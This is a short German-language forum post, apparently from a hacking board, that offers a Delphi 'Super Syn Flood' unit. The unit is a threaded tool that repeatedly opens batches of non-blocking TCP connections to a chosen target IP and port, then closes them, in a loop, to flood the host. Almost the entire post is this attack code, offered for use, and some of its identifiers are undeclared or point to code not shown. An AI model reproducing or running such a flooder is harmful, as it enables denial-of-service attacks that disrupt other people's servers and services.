Ähm Nur4mon Coding Section oO ?!
@ThreadStarter hier ein Super Syn Flood.
Code:
unit syn;
interface
uses windows,winsock,classes;
type
TSupersyn = Class(TThread)
Private
Public
sAddr: TSockAddrIn;
ip: string;
threadnum: HWND;
id1: dword;
port: integer;
length: integer;
Procedure SuperSynSend(TargetIP:string;Port:integer;len:integer);
Function SuperSyn(TargetIP:string;Port:integer;len:integer):integer;
Protected
procedure Execute; override;
end;
implementation
uses GlobalFunctions;
function SuperSynThread(InVal:DWORD): DWORD;stdcall;
begin
Tsuper.SuperSyn(hithost,hitport,60);
end;
procedure Tsupersyn.SuperSynSend(TargetIP:string;Port:integer;len:integer);
var
size: integer;
hServer: array [0..400] of Tsocket;
c:integer;
mode:integer;
begin
mode := 1;
sAddr.sin_family := AF_INET;
sAddr.sin_port := htons(port);
sAddr.sin_addr.S_addr := INET_ADDR(pchar(targetip));
size := sizeof(sAddr);
while SSYN = true do begin
for c := 0 to hitspeed do begin
hServer[c] := Socket(AF_INET, SOCK_STREAM, 0);
if (hserver[c] = INVALID_SOCKET) then
continue;
ioctlsocket(hserver[c],FIONBIO,mode);
end;
for c := 0 to hitspeed do
connect(hserver[c],sAddr,size);
sleep(400);
for c:= 0 to hitspeed do
closesocket(hserver[c]);
end;
suspendthread(id1);
exit;
end;
Function Tsupersyn.SuperSyn(TargetIP:string;Port:integer;len:integer):integer;
begin
SuperSynSend(TargetIP,Port,len);
result := 1;
end;
Procedure Tsupersyn.Execute;
begin
threadnum := CreateThread(nil,0,@supersynthread,nil,0,id1);
end;